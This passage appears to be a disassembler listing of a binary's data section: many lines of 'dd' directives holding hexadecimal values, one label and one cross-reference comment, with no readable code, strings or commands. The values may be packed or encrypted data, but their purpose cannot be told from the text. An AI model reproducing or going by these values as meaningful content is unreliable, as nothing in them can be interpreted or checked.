		dd 2FC0F3B4h, 80A373B1h, 31006556h, 7258BB1Fh, 989C498h
		dd 0EBB0EF8Ch, 0BE096870h, 0FAB142F0h, 0D7D20020h, 13B80C1Ah
		dd 0EB075A37h, 0AFB32B77h, 63ED8F60h, 0FD8C1E1Bh, 0A471D74Fh
		dd 743F8C8h, 92C6810h, 5023A0EFh, 19FC2E80h, 480101B6h
		dd 20D23518h, 1A8811A4h, 3F550068h, 0B796DDC8h,	840043E7h
		dd 74DC07A9h, 968E16F1h, 0E9DF8F30h, 88DE391Ah,	4D191140h
		dd 5EAE00BBh, 73D4174Eh, 0A34BB05Bh, 0ABC32002h, 2090F5B1h
		dd 0D7256127h, 0B94D0ACh, 0EF9CF8D9h, 0E81E80FAh, 29014C3Ah
		dd 18E1DF22h, 8305B111h, 0AC9A7741h, 1A45C0C7h,	0C2AA30C6h
		dd 0F815FA1h, 80BBA802h, 7586FB1Fh, 0C4713802h,	0D9275C52h
		dd 7CC4D4h, 0DDC96EE6h,	735B98C7h, 89017CEEh, 0DAC2C08Fh
		dd 0CC7AEAABh, 16059240h, 0F0700A39h, 0C86C26EBh, 75F32B05h
		dd 0A4E932EFh, 0C5D5FCB9h, 0EF29D00h, 0CF54483h, 9B798010h
		dd 6A67722Dh, 0A9F810A4h, 0FE4E3FB1h, 0B2106313h, 0B77A0068h
		dd 81094024h, 0A5C0BCAEh, 63720CC1h, 30C6F21Ch,	64508584h
		dd 7940CA88h, 1004BF09h, 0F0D902DFh, 0D15089F5h, 18047968h
		dd 0BDD40047h, 9FA3CA8Ch, 453E239Bh, 208CCC6Fh,	0C36A4402h
		dd 87849F0Ch, 43B9E898h, 715221Fh, 1BE73743h, 0BD225117h
		dd 0AB1441A6h, 33DC40D3h, 629FD9C7h, 709D550Ch,	33807F91h
		dd 95581D08h, 2B4CF61Dh, 0A7ED4F47h, 92868D6h, 171C15EFh
		dd 1D9B459h, 78014118h,	91D3CD6Ch, 427EC6FBh, 1868FD90h
		dd 9088B204h, 0C557001Bh, 3EA3BB14h, 45053BE7h,	0F0DC249Bh
		dd 4429444Fh, 0FCB57AEAh, 2791DC08h, 0B4C0CE83h, 304EBBE1h
		dd 0CF8FA445h, 4E16DCA8h, 0B37C4401h, 346BFE38h, 24702E00h
		dd 61F854DFh, 94288A04h, 0F2CA9Bh, 8414C010h, 5C496555h
		dd 3ACB2C99h, 39AF9CC1h, 59AE8700h, 66C102F5h
dword_4E414C	dd 67EA0B38h, 0B0798E98h, 1380681Dh, 0BC2F44FEh, 0D20B2D92h
					; DATA XREF: ___:off_43ACE4o
		dd 7E0C1800h, 0D49E9D30h, 6DD1FF40h, 0B721003Eh, 0A98086EBh
		dd 0DA15BF84h, 9F0600Dh, 7C5BF0D8h, 7F98010h, 436EEB17h
		dd 0DDE6209h, 41281254h, 0C82A5748h, 0C40FC2F8h, 81CDB0F9h
		dd 0DFB97AB1h, 3D006833h, 856FE61Eh, 761D4FEFh,	0ACC0E180h
		dd 0F3BBBA73h, 94B2F6h,	0B0AA3059h, 8395B6F8h, 0A09F2B2Ch
		dd 74ECC8A7h, 4447008Dh, 8ADB15BCh, 61FF994h, 0A4D4A3B4h
		dd 70B02AEh, 0D9595E53h, 181E7978h, 2D0400A8h, 7A73CE92h
		dd 8712B4FEh, 0B8555556h, 6DBCACh, 113A9BCAh, 424AB089h
		dd 0E128ED27h, 582DE228h, 0B5451F04h, 10FCBD06h, 6E5B1E05h
		dd 0D9D500CCh, 5091A9E6h, 0DC60F7CBh, 2B6D2D4Eh, 4B5CE068h
		dd 4956677h, 7BBB78F8h,	97D60248h, 496DFE93h, 4185C3B8h
		dd 0A137B069h, 0C1D068B4h, 0E98CCAB2h, 0DC48C82Eh, 6617D4EEh
		dd 5D0A63D3h, 7D08BCC8h, 0BC1B2D76h, 74091810h,	0AF92F20Eh
		dd 491C49E6h, 0B163C207h, 4DB0E05Ah, 39EB19FBh,	0C78E235Dh
		dd 0D4355ADh, 0A1279C5Ch, 0D9181063h, 69ACF049h, 0DC821109h
		dd 9C825E0Bh, 0C1002E41h, 953A930Fh, 0AB20008Eh, 0B591FB95h
		dd 5D0A5490h, 0EC39B4EDh, 603CFE8Eh, 929F693Dh,	81520023h
		dd 0F033D1DBh, 0F89BC2B4h, 0A0E03D97h, 0F8019794h, 3991477Fh
		dd 696F123Ch, 820AC008h, 0CD17E8E7h, 9B826CDEh,	768A93BBh
		dd 1CB01440h, 2440FD93h, 1F8B280Dh, 9CB07864h, 0D5DA8054h
		dd 9BA6892Ch, 8FB8EC52h, 2B40B8BDh, 38228228h, 64D670E6h
		dd 0D4C4CD89h, 4521770h, 10AE0E8h, 0EA3F3330h, 56CA3078h
		dd 2DE9007Ch, 0CE59766h, 0C0B61E4Eh, 3258B24Fh,	0A97FFC43h
		dd 8E8056ACh, 0B285DD44h, 0E3202C02h, 1588E673h, 977240B4h
		dd 82EB27h, 6F212B94h, 70D8560Eh, 0D6906E28h, 55B8D8E0h
		dd 41821742h, 1C79E4E0h, 276A4E88h, 31E22C65h, 21541861h
		dd 0AA27B80Bh, 0CA5C41BFh, 5AFC02h, 6ADC70E5h, 96506895h
		dd 570C07Fh, 72FB5EAh, 89D4B700h, 427A696Eh, 0E96800E4h
		dd 2A9359C5h, 9730D133h, 61B22151h, 0F37792Bh, 79505815h
		dd 0DAA4E983h, 0E7B79BA0h, 0A9104897h, 4A4B07DCh, 80545CD0h
		dd 2FBFF035h, 0A60071F2h, 0D59809D2h, 29A8941h,	72DDC8B4h
		dd 60C26F2Ch, 0A4F4F889h, 279CE0Bh, 164E4F8h, 3EE0DCC9h
		dd 0A1AC2420h, 80132628h, 9256004Dh, 0A65E25Fh,	0BCE2045Ah
		dd 0E20A12BAh, 1C390402h, 47A8616Fh, 6CF9108Ch,	0A0401008h
		dd 0A245408Eh, 54280F63h, 8083173h, 149F421h, 88C8E9Dh
		dd 25202E3Bh, 63964C40h, 750B101Ah, 86CE0819h, 0D1114418h
		dd 9F3F01F0h, 70DC001h,	270613E4h, 58330811h, 767620B1h
		dd 7D8D4071h, 28084262h, 0AB20384h, 41763031h, 1898BD0Fh
		dd 0ADD76920h, 0CC53FC80h, 5D59E408h, 7B194366h, 81417128h
		dd 5191881Ah, 7D5C08EFh, 6051A319h, 4A0818Dh, 88626110h
		dd 0C030108h, 5820963Ah, 636D6540h, 0BFCD1093h,	0FC590810h
		dd 202C9E18h, 8CC66B4h,	40FB5981h, 0E5631907h, 318FBD10h
		dd 0CC316308h, 56DD0177h, 12D0D01h, 0D102F394h,	0FD0BE8A2h
		dd 5B4BF02h, 98E0446Dh,	95A606F6h, 8446241h, 6E02BAB3h
		dd 8165065Fh, 54FAC020h, 4098E832h, 6B63235Eh, 1D053A08h
		dd 2016E918h, 6CED6A40h, 5059B9B7h, 0F4DE94A8h,	912C10CCh
		dd 7EB6405Ch, 9A75F4A8h, 0CDEA4680h, 0F9797430h, 0B9089802h
		dd 818873D9h, 0EA002499h, 8824B0A9h, 0C4ACF79h,	60497EC6h
		dd 0E70710C6h, 8CC35408h, 9C4C4093h, 0FE280163h, 1EF932B2h
		dd 0F8048E59h, 0A3D88891h, 92909024h, 4D534024h, 0EB843040h
		dd 52AAF301h, 0BF0448C8h, 1489A491h, 78D50888h,	0CEE0E08h
		dd 34286354h, 40E51040h, 0C0645964h, 98912218h,	0F5011B66h
		dd 105D0361h, 33B17929h, 249EB145h, 88A843E1h, 0B019F1EFh
		dd 0C198E5B1h, 0A7BAF105h, 0F2FE08C4h, 45DAC04h, 260A448Bh
		dd 0FE6D889Ch, 3C5D7B12h, 990E59F1h, 35F7901h, 2020CEC6h
		dd 0F26257A6h, 2943D11h, 1C0323A1h, 0D3081015h,	0A0B72A24h
		dd 33F5AF20h, 0E7187A86h, 0B09704FCh, 4164C04h,	620998AAh
		dd 0B51E3022h, 0AC918504h, 11A26ED9h, 0E02C54A0h, 0D5A04028h
		dd 0E08A39CAh, 8FDA888h, 0C20243CDh, 64E1BE86h,	0A9B30FA4h
		dd 0A03666ADh, 0AC135BE4h, 0D8E85E45h, 76A61301h, 0E04FDA33h
		dd 8D161887h, 8441E5E1h, 0ED61D6A9h, 16AC19E8h,	664717h
		dd 85343618h, 0DC086097h, 8F1FE452h, 16009871h,	3D9120CFh
		dd 0CABDB51Ch, 0C05E78D0h, 0D9974CB0h, 0A7C760C0h, 2AB9A0h
		dd 2D285B02h, 0C686C585h, 0AC60F5F8h, 0D6E4318h, 6695309Fh
		dd 0A74162D1h, 10F52530h, 7843E40Eh, 21C90096h,	454C5AC8h
		dd 82006B1Bh, 240F8F91h, 5901B4h, 94FF641h, 5ABF5C7Eh
		dd 0C4DF4903h, 0B02C745Bh, 0A105E672h, 2478F693h, 465EF1Eh
		dd 412D2659h, 86D02AE0h, 8341989Fh, 0BAF3FA0Dh,	5E3D1180h
		dd 6D0040B6h, 8FCD1FACh, 8EF700D9h, 593110A5h, 976E451h
		dd 0D5EC7900h, 267B25B0h, 4E241F80h, 0DB1C4005h, 0D1928D40h
		dd 1B9A9F00h, 49E03B38h, 9840F5F9h, 0F0D546AAh,	90356093h
		dd 86D41FC3h, 163A7E2h,	0B0C59181h, 1D881DBBh, 89D769h
		dd 0FD1E2A7Dh, 0CB27A70Bh, 8E788112h, 0AC43810Eh, 9C98B8ACh
		dd 80030C79h, 0E9F00D59h, 0EF01757Eh, 61DA0E96h, 199F2EFFh
		dd 43F2C15h, 0AAD55FACh, 0E0006489h, 59786DDh, 0A9C03466h
		dd 411000AEh, 7FD0E9Eh,	76887001h, 72B1B609h, 8930803Bh
		dd 0AF6F86CDh, 9FDF62E0h, 0E9F890FDh, 1A6EC1Dh,	4061FFC2h
		dd 20169252h, 0E5410E24h, 0C8EC2C53h, 92BF2DA7h, 2C5C3C28h
		dd 3C81F930h, 0D40CC4D5h, 596882E2h, 979F2843h,	1A491934h
		dd 0C5AC50F1h, 0CBC06B23h, 1F2D5099h, 67E35Fh, 9E8D1644h
		dd 2C62DAC0h, 7A6DE489h, 24710220h, 44C7B185h, 7D68BD00h
		dd 30287D88h, 0FD305FFBh, 9540F5B4h, 94875067h,	808300ADh
		dd 5B590ABAh, 0D027F6Ah, 74D2990h, 71088013h, 2E40FB5h
		dd 52334C6Eh, 17432A11h, 38E1F00Ch, 14B9C86Dh, 0AC67F432h
		dd 1EA88724h, 3AAFC0D9h, 0E4073073h, 0FB474B00h, 0EA87D3A8h
		dd 5FD100B4h, 0A7AC6AFAh, 81E378Ch, 9C95E2BFh, 0C007008Ch
		dd 0F57853F0h, 900AFA66h, 0DBC40160h, 1D4C16B7h, 50076F6Bh
		dd 0F5830EADh, 0F0105132h, 7338D06Bh, 4101A9B9h, 307BB620h
		dd 0FAC85FD9h, 0D584003Ch, 54353D26h, 0E139E60Bh, 807D81B2h
		dd 0B4DFA703h, 5157408Eh, 0A3EDA5h, 86D5819Ch, 0A24DB2Eh
		dd 2C40D01Ch, 24E2724Bh, 843806B5h, 951ACDA7h, 61641278h
		dd 0E05E4B24h, 650282E8h, 4FCAD77Fh, 654683Dh, 0FBB63934h
		dd 251C28B8h, 0B46A075Fh, 0A8802DADh, 0B5060810h, 6F2B2173h
		dd 2FC601D0h, 0EB1B207h, 872882D4h, 446EE1F8h, 49A77910h
		dd 98744811h, 0EA3426BDh, 35B133Ch, 91BEA734h, 18F048h
		dd 7E63D5F9h, 0C1BFC9B4h, 0E472D640h, 8128406Ch, 0AE48669Ah
		dd 68BD2D80h, 80688F2Ch, 401335A6h, 6C047D5Eh, 541DD2BCh
		dd 0FD96486Ch, 0B43D0460h, 1C850C8Fh, 0F2C6E44Fh, 89DEEA06h
		dd 5B13C08h, 0D3282064h, 0C1CED1CCh, 4FEC0A03h,	6F86A7h
		dd 0E0B809E0h, 0E1BB61FCh, 0D9324072h, 106F8116h, 0C8A49B9Fh
		dd 0A81D1B31h, 1F00DE87h, 0AD00674Eh, 0E949A9BFh, 1E2B80A1h
		dd 5FAC37E7h, 1D430015h
		dd 0FDB2E403h, 0CABC1403h, 0BA49F11Fh, 0A2E4A26Eh, 0E73080D6h
		dd 98570669h, 48DE75DCh, 0B4831C20h, 907743AAh,	86E0E218h
		dd 10E6BEA9h, 21CEF36h,	0CD757241h, 0AE9D4089h,	572E0202h
		dd 0F9E149CCh, 2FDE1C60h, 0EB39103h, 0AAA9CDD2h, 9634C057h
		dd 8028093Ch, 0E082BF6Ch, 0DC074F24h, 21EB6170h, 4C5213CAh
		dd 0ACEC40A9h, 0D3A1B6ADh, 131F103Eh, 7452FBB7h, 82B12009h
		dd 55D09F8h, 0CFC40542h, 78F10080h, 0A7D1160Bh,	0F8175837h
		dd 82751280h, 0AA9B00ECh, 5BEAA841h, 0DB505FA7h, 270E58FCh
		dd 8F59DC91h, 0E29B01AFh, 55CD84B2h, 6300B878h,	96F042F3h
		dd 2558BDA3h, 4C9050FCh, 98E71F26h, 739AA780h, 30E16EB1h
		dd 0B23875C3h, 0C0A6DADEh, 0D4AB38h, 224197FBh,	15688AFh
		dd 0BE614F68h, 64B321A7h, 48B045ACh, 70A1C99h, 0C262D41Eh
		dd 0D6404136h, 210E9092h, 33654Ch, 6F6F903h, 9FE2BE27h
		dd 0C053874h, 0EFEE6AAFh, 0D670F091h, 0A7B66100h, 6809E330h
		dd 50D2DC92h, 6287E81Bh, 0A974703Fh, 0EBBB6860h, 0AA71E8C3h
		dd 10ACC172h, 0E100C065h, 0D2E0DAh, 4EA95BA5h, 0C05D4B37h
		dd 6DE29D03h, 0E12EEFD3h, 0A941AD46h, 0C2E1583Eh, 0E5978A30h
		dd 3DC0E182h, 4C09215h,	0D900A8D0h, 5F4B592Fh, 341E47Bh
		dd 4C10BB2Ch, 78000A39h, 0FB745709h, 0DD9232h, 341E91FCh
		dd 41F2FDB4h, 0A5E04F75h, 5CD3A0A0h, 872D4E14h,	0FBDD00DCh
		dd 0D5119DC7h, 0C5B33C06h, 0D36E6D0Ah, 925805D2h, 0A7689C76h
		dd 0A8940232h, 0C1DB6398h, 0B0629914h, 5886BE41h, 30B9B2B1h
		dd 0EA732F0Bh, 149CB815h, 0BFCD06DDh, 59C27632h, 6811120h
		dd 97B4FF24h, 0D09318B6h, 8BCF9C24h, 35D41898h,	4100F90Bh
		dd 0B1005C9Ah, 0BE285ABBh, 7ADC0AC2h, 8EE21929h, 23653010h
		dd 0E0DB2D20h, 1D928DCh, 0AE0C352h, 4112E1FBh, 4D158F4h
		dd 7061D00Eh, 2B05724h,	91853589h, 0C54D7C48h, 475E280h
		dd 1F2658D5h, 0AB54C08Dh, 5090BDDh, 9149391Ch, 640975F0h
		dd 0EC7EB4B8h, 481E88D6h, 0AB00DDD0h, 1C13CEFBh, 0A0009FCBh
		dd 7D6D6145h, 103B624h,	0BDA851E1h, 0C4A789F0h,	0B49AF94Dh
		dd 6C5FC919h, 0B052B5E1h, 48A0E281h, 609B4C18h,	1AFF2069h
		dd 0B42F3140h, 0DA30409Dh, 80A52EE2h, 12D9788h,	8CB43AECh
		dd 0ABA180A7h, 1244A9F3h, 0DC593A61h, 0C8307EA5h, 0D103428Ah
		dd 0A77F180Ah, 5C18A6A9h, 6062830Dh, 0C00A99C4h, 50EC05B9h
		dd 0E831969Fh, 3070BE43h, 0F5BF00ACh, 1AC3EF90h, 7D6FDC4Ch
		dd 0FD9F45B8h, 7844A0F5h, 923D24A0h, 0D3C20688h, 20F563E2h
		dd 73C8E360h, 0C22F414Ch, 0D53AA721h, 234EACC9h, 0D4131008h
		dd 65616E0Eh, 0BCB2A7C3h, 1C092800h, 0DDEE2B47h, 72500171h
		dd 0E2E0BEECh, 25287CB7h, 17032B3h, 0A4F9A78Ch,	0E9084080h
		dd 0BAFB8AB5h, 0F3B8C10Eh, 6F524B1h, 0F954C3h, 4122AFEEh
		dd 6FF7C233h, 5C2111C0h, 58831FC6h, 7126DC53h, 125C2624h
		dd 3244207Eh, 48C32984h, 9883A7h, 0AAA9270h, 3E4C3DE0h
		dd 5848D859h, 10485840h, 8513542Ah, 88E0253Dh, 0B8C47694h
		dd 41EB8D6h, 0A244AC48h, 2D5004ECh, 0EC22C585h,	4892D4C1h
		dd 5C0361E0h, 0D6D2CDCh, 0B186A84Fh, 2A8B1ECh, 651EF6AFh
		dd 0AA399240h, 60C0F17Bh, 2C1DBA35h, 0F35878D9h, 0D4940845h
		dd 488EC4C2h, 3975FC78h, 0B10D67B3h, 0DDF86F2Ch, 0C49821A0h
		dd 47F5B3Ah, 9349F00Ch,	0AAF894h, 651BD5ADh, 0E864366h
		dd 0BB244197h, 92ECC36Fh, 97AC4ACFh, 0E008445Fh, 4C1C8007h
		dd 0BA488F49h, 24713B48h, 0B1160877h, 28C49005h, 9B330081h
		dd 5DBE6880h, 436EE420h, 46A82500h, 0A949EE87h,	8120D2FDh
		dd 1578B238h, 3B097091h, 0C0B1BA01h, 8096625Ch,	904EA990h
		dd 1B2D277Ch, 0B1B0EF06h, 18DDD2h, 0B39CF85Fh, 0A6435C55h
		dd 1C9ACD3Ah, 66009F23h, 0E1DAA29Bh, 249C99B5h,	0C09182FCh
		dd 48695842h, 40B42CB3h, 0BD6735A8h, 3271D329h,	11A2D070h
		dd 269486F8h, 1F64E409h, 0D9901E3h, 0E0B26810h,	0A8A86349h
		dd 3360284Ch, 0B62AC578h, 0A028928Ch, 9006D130h, 92A718FCh
		dd 1A43E175h, 7C091FF8h, 84D4C8B4h, 68E46248h, 604B40F9h
		dd 8E42D0A8h, 19FB0E17h, 4C39E480h, 506E5092h, 11672EE1h
		dd 876CA9F4h, 9B49AAF8h, 94B8A5h, 0A891AB80h, 4995C5Ah
		dd 0BCB0AC0Ah, 2CC45745h, 9666F888h, 0FA82104h,	2E806C1Fh
		dd 0F44C0FDDh, 91F48E50h, 6171A301h, 0BD0EA748h, 3AE7F880h
		dd 95DCA26Ch, 79768B03h, 0DA19B1AEh, 0F9D06661h, 2DC801h
		dd 0F91D2C7h, 0FC90828h, 71DA70E0h, 0DC005E64h,	0DE0E9E58h
		dd 1DC341E7h, 22EA60Dh,	0C4ABAC2Ah, 18A6704Bh, 202FF1F5h
		dd 0B5407B64h, 0E0D40780h, 56A73313h, 6698A0AFh, 7F317904h
		dd 8D82841Ah, 84785Ch, 5908B224h, 0F3C56A2Fh, 89A9D338h
		dd 25461F7h, 0A80FF9CCh, 9B88BCB4h, 0A9BE091Ch,	5DE21C9Bh
		dd 0B607FC54h, 84C72ADCh, 0A704E839h, 9C714DA5h, 1C00EC45h
		dd 70C84FD9h, 30A060A7h, 0A591B673h, 0C2F1E225h, 498C44ECh
		dd 0A09474E4h, 69A7DE04h, 8D2B00F4h, 243C4F0Eh,	9147F85h
		dd 0C0020DEAh, 0B00207C8h, 6114E1B3h, 1E7011A6h, 0CBEEC0D5h
		dd 0A16427C3h, 0AE3EDD05h, 0D4047C2Bh, 30D49DACh, 0C165A080h
		dd 9BA12A2Ah, 61D1026Ch, 2D60E9FBh, 38361461h, 0A0198728h
		dd 0E5FBD290h, 0BCE4E975h, 4B64BA7h, 0C2EA76C0h, 0D8E65B40h
		dd 0B20A54A0h, 2129E700h, 13A7D022h, 8930C6DDh,	0E030F049h
		dd 0F36E41D2h, 0B477244Ah, 7E1911A0h, 7FC23E01h, 93F749D1h
		dd 72CC092h, 42528454h,	907110EAh, 8D3049C1h, 0C10830A6h
		dd 7278B1E1h, 26B60458h, 7CC43BCEh, 73A088C7h, 2E339CC8h
		dd 1DEF4D59h, 9FEDC08Dh, 0B1CCDEFEh, 0E7B7DB01h, 10237F5Fh
		dd 16F5ECF0h, 161629C9h, 158B85Ch, 49DDAA6Ch, 0B854F420h
		dd 0E0E9B4C2h, 474120h,	806FFDDEh, 2BE76A06h, 0C2DB42Ch
		dd 0BFBEF79Eh, 21591D05h, 81A44080h, 39CABFA9h,	5A81A868h
		dd 48DFA041h, 0EEFCCC69h, 0C8349000h, 0A7C731C2h, 0A8AD5138h
		dd 0D2E429F1h, 0E6B4B235h, 5893F2h, 190B9FA5h, 0C75176E1h
		dd 82F52088h, 923E4109h, 2EA44E1Eh, 80D83BC9h, 0E36AF718h
		dd 0E0B0E0B9h, 0C18E460h, 9AF6F6Ch, 38DB49FBh, 0C7B31C24h
		dd 0CAB434h, 68FB5FC6h,	0C97734B4h, 0FC60C058h,	6F0A3532h
		dd 0D8EC504Ch, 6844590h, 0B90F213h, 0E60FB5h, 0A81B0C8Ch
		dd 4B0B1E28h, 49D906DDh, 5C0E29F3h, 6038E8ACh, 0D6BBCF4Ch
		dd 285A03C9h, 6B3133CAh, 437CD9FDh, 1BC8D31Ch, 0B0F2E3C5h
		dd 9943A900h, 1D238F8Ch, 0F8485C56h, 804D8300h,	0DB4BE9ECh
		dd 11449A1Fh, 0BC79FF00h, 1C8D858Bh, 807468B7h,	4FD6B22Ch
		dd 0D5492603h, 0F40E26F8h, 78312183h, 7213E07Ah, 0E85A5CDCh
		dd 0EC05B4D5h, 10A92A49h, 0BBC1D8E4h, 0CBCBE2DEh, 0E105DFF2h
		dd 9981D031h, 1FD9430h,	675C5B60h, 28BB8517h, 0B12D25E0h
		dd 0D463AC68h, 20E40B18h, 0FE06CB61h, 0F46EE11Ch, 43221228h
		dd 1DE85608h, 0ACB4A4B0h, 0ECB7BEB8h, 0A4BA7110h, 5861FABBh
		dd 77A0274h, 44C0294Ch,	165A7331h, 0C60BE816h, 58B8CA32h
		dd 5CDB4BC8h, 13AB902Ch, 0C8C10BDAh, 0F86CEEF2h, 0C07B129Eh
		dd 2F1908E8h, 2404D1D2h, 0CB1CD90Ah, 2C40C239h,	525987B4h
		dd 31606158h, 88246BAAh, 7259C4B6h, 4494C0ECh, 29D30D6Eh
		dd 0BA5FCC71h, 58D4E471h
		dd 782A00EEh, 35E8CB1Ah, 4A6193B4h, 0E6E2D6B0h,	0BD9007F3h
		dd 40347EA3h, 499B8AE0h, 12CAE5Dh, 0B92948ACh, 603870h
		dd 44968463h, 3EA36A88h, 591D4D3Eh, 9249046Eh, 72FB0979h
		dd 9C9F0070h, 303BE347h, 65FAB2E4h, 1F137502h, 826AE1EBh
		dd 784DA708h, 0A35B7110h, 0C6040EBEh, 79CC2C71h, 667192A8h
		dd 0C00BE8CCh, 0FADA00BFh, 7B71AE8Dh, 36204C07h, 2E49014h
		dd 0A73D81CAh, 0FC6CD41Fh, 0A48476C9h, 0B080AFACh, 90DDA349h
		dd 0A7D108E8h, 7D39F340h, 6060E2Fh, 0B9F889CCh,	69E1861Ch
		dd 71FD48CFh, 6C60C620h, 8619DC71h, 16B00E79h, 0BAFB0030h
		dd 0B4A49BF0h, 9B8C0E0h, 7800FCABh, 9F7C4673h, 13D468E7h
		dd 3EC6A8Ah, 0E36E25Dh,	0C4026877h, 75FC9067h, 0DF9E8526h
		dd 0EFE370D9h, 0B38C00FBh, 3AA37758h, 2000D3C4h, 8C7633E2h
		dd 0D73284Ch, 7875B724h, 8240D188h, 0FDD386C5h,	60033866h
		dd 49851FC6h, 0C1B90071h, 69B4EB87h, 0E102DCACh, 0A952DAB7h
		dd 0F13063E9h, 89F053ECh, 0A097F054h, 0F5B1C008h, 0DD5825CFh
		dd 0ABA73402h, 5DC188C8h, 0E47E9226h, 68F65FE0h, 604300ACh
		dd 9197980h, 0F51ED61Ch, 4B07956Dh, 1D844C72h, 93FDAC90h
		dd 6E3007Eh, 9F2E4399h,	0CA001C98h, 6EE4113Eh, 7CA2C7EFh
		dd 84E81ED3h, 61B109E9h, 10DEA800h, 309B331h, 56B89C4Ch
		dd 970C2408h, 8A7CD7DCh, 0C9D6E6E0h, 74090B6h, 1CB6D13h
		dd 0B8A9C023h, 0F078AD99h, 0F89E55DAh, 3D9A4C04h, 780E141Eh
		dd 0A78801D6h, 0A875573Eh, 240976B0h, 85F85F25h, 0FCA87310h
		dd 0EAFA8A00h, 86DD8957h, 38DFB114h, 93D400E0h,	0CF66CEC6h
		dd 0C8B40FE1h, 1FC733C4h, 46C8589h, 9773DC08h, 97CDB24Ch
		dd 88BFA8C8h, 0A940E705h, 0EC012D4Ch, 0C732D95Fh, 1F1109CCh
		dd 8A1076C6h, 188CB8Ah,	6AE2DAC8h, 114087C2h, 24EFB847h
		dd 57C0294Ch, 91635CB4h, 0C1A82Ch, 2F20AF99h, 34B3E40Eh
		dd 0EA8CCB12h, 0C1E31C00h, 0E9C966h, 505AE0BFh,	0A7026421h
		dd 88BC292Ch, 0B0BC0820h, 0E9B84925h, 307FFFh, 0B7AE25A8h
		dd 0D9CCA7A9h, 0C8907873h, 85FAC28h, 14495A28h,	40C9E04Eh
		dd 482C30FCh, 18102804h, 0E5007F09h, 4A715C3Dh,	0AAC359D5h
		dd 0DB0041B8h, 0DA3AD810h, 0E127F103h, 0AA5876BAh, 0CC607D39h
		dd 460F41A9h, 0E5034A22h, 0C8E71F90h, 0EC11A712h, 3442534h
		dd 8E8FE268h, 91B50528h, 88255AA3h, 434CAA84h, 3EE21254h
		dd 2056DC42h, 2A246C61h, 4E185B5Ah, 0CCC4245h, 0D07205E6h
		dd 8535541Dh, 52F5A746h, 7D2C2480h, 768B08C8h, 6CBEF00h
		dd 75B9779Bh, 0A400951Ah, 0A653E94Bh, 27675C94h, 14E050C5h
		dd 0B5C6252Ah, 0CDFDD010h, 5A1F2499h, 0A5A26B80h, 0F0DAD188h
		dd 16EC1D30h, 0C1898BFFh, 80433CA4h, 6D182AA8h,	144E39D2h
		dd 0E75838E0h, 280F9731h, 0D16C2DA0h, 0A70469B5h, 0D3D449D8h
		dd 4453D491h, 202AFC61h, 2B6C6DB8h, 256060B8h, 0B1B9BB7Eh
		dd 0B801601Dh, 0BCA494F7h, 0E42C4078h, 20008654h, 419ADFC7h
		dd 0F2B51C2Fh, 58492549h, 30B86166h, 0B917D424h, 50325FA9h
		dd 500511Ah, 97E4457h, 5051DE44h, 8A560F42h, 830278C0h
		dd 0DEE917h, 16A14C08h,	341F71DDh, 9C826080h, 25A7DF14h
		dd 38247506h, 31B4432Ch, 8AD0260Ah, 0EDB10FB5h,	0D1184153h
		dd 8215E949h, 19C59628h, 9CA8D1ABh, 9678D6E1h, 0B2470F8h
		dd 67100807h, 0B1610C0Fh, 10671513h, 0BA78884Ch, 0B99F050h
		dd 7A2A2349h, 0F82F2CEBh, 0B18818D5h, 70AA61A2h, 786894D1h
		dd 0B0499230h, 90742Ch,	853D9FC4h, 641740D4h, 4822996h
		dd 7C7C48F2h, 592A0645h, 802378B4h, 1560B195h, 0AC2C91D9h
		dd 3821FE86h, 4BF116A0h, 74735901h, 0D938A5BCh,	9C31C1F9h
		dd 0B481846Ch, 34D11AF6h, 0D95E499Ch, 8992540Ch, 1082EBACh
		dd 0E67791C3h, 2CC10442h, 9EA0011Dh, 180DEF03h,	992B0880h
		dd 0BE04C440h, 421896A9h, 108A1A80h, 0F7026D0h,	88C96BA5h
		dd 89ED2C00h, 0E11033B0h, 0EC40983Dh, 0F8086257h, 0C48458D9h
		dd 0C118A8DEh, 0AA902AC2h, 87C44Ch, 0BDFBABFCh,	9F1E2238h
		dd 1A69F800h, 0B6E1DE68h, 0EED80417h, 0D018A728h, 0BEF40E48h
		dd 8D4AAF01h, 80FE785Eh, 265AE0h, 0A507B7F1h, 0BDA6E61h
		dd 0CAF4C909h, 0BCC4D9h, 0A997D586h, 8D652B3h, 248DE0Fh
		dd 800936B1h, 4CB8E027h, 25989E65h, 2E6C30C9h, 4A746401h
		dd 0C0E26472h, 80C4A430h, 63A4C21h, 24460259h, 60918245h
		dd 0A8F8D486h, 4606BDCh, 0A7250F3Dh, 61AC9085h,	919762BCh
		dd 0F448ADB0h, 0DBB70689h, 211528E2h, 0DADDA804h, 0ACBCC849h
		dd 10E8A0D2h, 61CEC916h, 48EC6C88h, 0FD006443h,	0CAC36328h
		dd 21C20823h, 4056341Eh, 0BE27308h, 8FE11FB2h, 1317B478h
		dd 0D2003A2Dh, 31E84DA3h, 5AE8AEh, 0FD3DE323h, 0B938B478h
		dd 64BB49Eh, 0B611DE52h, 0D0590A48h, 31E79310h,	358F0C28h
		dd 107C2894h, 0BC00165Fh, 4E06D18Eh, 6E744162h,	0D2C4B805h
		dd 688060A5h, 13B532F0h, 1E5FFD82h, 7890A524h, 714F2AC1h
		dd 823C7C1Ah, 60B2FA28h, 8001E744h, 0F8B6AB71h,	808DDB8Bh
		dd 0A22AC688h, 0E0109DC2h, 825E2D4h, 2C74640Fh,	3E5EEE77h
		dd 16B85E77h, 7198C740h, 74CCA5B1h, 9434E28Ch, 1007389Fh
		dd 25C957C9h, 0C8017E3Ch, 51C3A74Eh, 0A00C173Bh, 60D47398h
		dd 4BF16CCh, 4C07AC30h,	7A0C401Fh, 0EB1C40D2h, 139D2B49h
		dd 0B89A3A8h, 0FB87E0C8h, 9B81DC30h, 8048C8BAh,	0E3CF0FC4h
		dd 58040022h, 82EE49h, 0AFB35EE2h, 0A7324159h, 2E07452Fh
		dd 0B87FD34h, 2F00D36Fh, 6DF2C9h, 50AC4489h, 74D47891h
		dd 0C0245724h, 0B40B581Dh, 61CC0ECh, 30962CBFh,	7151E04h
		dd 24F5941h, 0C0700AA7h, 96640E3Bh, 0A841DA01h,	2738C972h
		dd 4C122463h, 0C6544A35h, 882845D4h, 0CEFBB6BCh, 2C94347Ah
		dd 0B4E17826h, 0E10848A9h, 1E92A20h, 30A4A21h, 8240634Ch
		dd 0E255AE60h, 13CC6474h, 0B4C58959h, 0CBD613Ch, 9C10A92Ch
		dd 0B5FF8860h, 1BB1B403h, 2A682D42h, 41215469h,	2D2D89D0h
		dd 9B11C4C4h, 316A521Dh, 0C2C788h, 4784759h, 0B47EF2CAh
		dd 9F98A0EEh, 22ECE407h, 0A287C35Bh, 8009C85h, 6E9B2E1h
